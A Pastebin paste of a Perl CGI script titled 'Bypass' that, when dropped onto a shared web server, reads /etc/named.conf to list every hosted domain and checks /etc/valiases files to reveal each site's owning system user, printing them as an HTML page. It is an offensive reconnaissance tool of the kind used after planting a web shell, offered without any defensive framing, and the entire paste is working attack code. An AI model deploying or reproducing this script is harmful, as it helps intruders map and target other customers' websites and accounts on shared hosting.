Advertisement
parkdream1

user.pl

Feb 29th, 2012
253
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.30 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2.  
  3. print "Content-type: text/html\n\n";
  4.  
  5. print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  6.  
  7. <html xmlns="http://www.w3.org/1999/xhtml">
  8.  
  9.  
  10.  
  11. <head>
  12.  
  13. <meta http-equiv="Content-Language" content="en-us" />
  14.  
  15. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  16.  
  17. <title>title</title>
  18.  
  19. <style type="text/css">
  20.  
  21. .newStyle1 {
  22.  
  23. background-color: #000000;
  24.  
  25. font-family: "Courier New", Courier, monospace;
  26.  
  27. font-size: large;
  28.  
  29. font-weight: bold;
  30.  
  31. color: #FFFFFF;
  32.  
  33. }
  34.  
  35. .style1 {
  36.  
  37. text-align: center;
  38.  
  39. }
  40.  
  41. </style>
  42.  
  43. </head>
  44.  
  45.  
  46.  
  47. <body class="newStyle1">
  48.  
  49. <p class="style1">Bypass</p>
  50.  
  51. ';
  52.  
  53. open (d0mains, '/etc/named.conf') or $err=1;
  54.  
  55. @cnzs = <d0mains>;
  56.  
  57. close d0mains;
  58.  
  59. if ($err){
  60.  
  61. print ('<p class="style1">&nbsp;</p><p class="style1">C0uldn\'t Bypass it , Sorry</p>');
  62.  
  63. die();
  64.  
  65. }else{
  66.  
  67. print '<p class="style1">&nbsp;</p>
  68.  
  69. <p class="style1">Domains &amp; Users :</p>
  70.  
  71. ';}
  72.  
  73. foreach my $one (@cnzs)
  74.  
  75. {
  76.  
  77. if($one =~ m/.*?zone "(.*?)" {/){
  78.  
  79. $filename= "/etc/valiases/".$1;
  80.  
  81. $owner = getpwuid((stat($filename))[4]);
  82.  
  83. print '<p class="style1"><a href=\'http://'.$1.'\'>'.$1.'</a>'.' : '.$owner.'</p>
  84.  
  85. ';
  86.  
  87. }
  88.  
  89. }
  90.  
  91. print'</body></html>';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement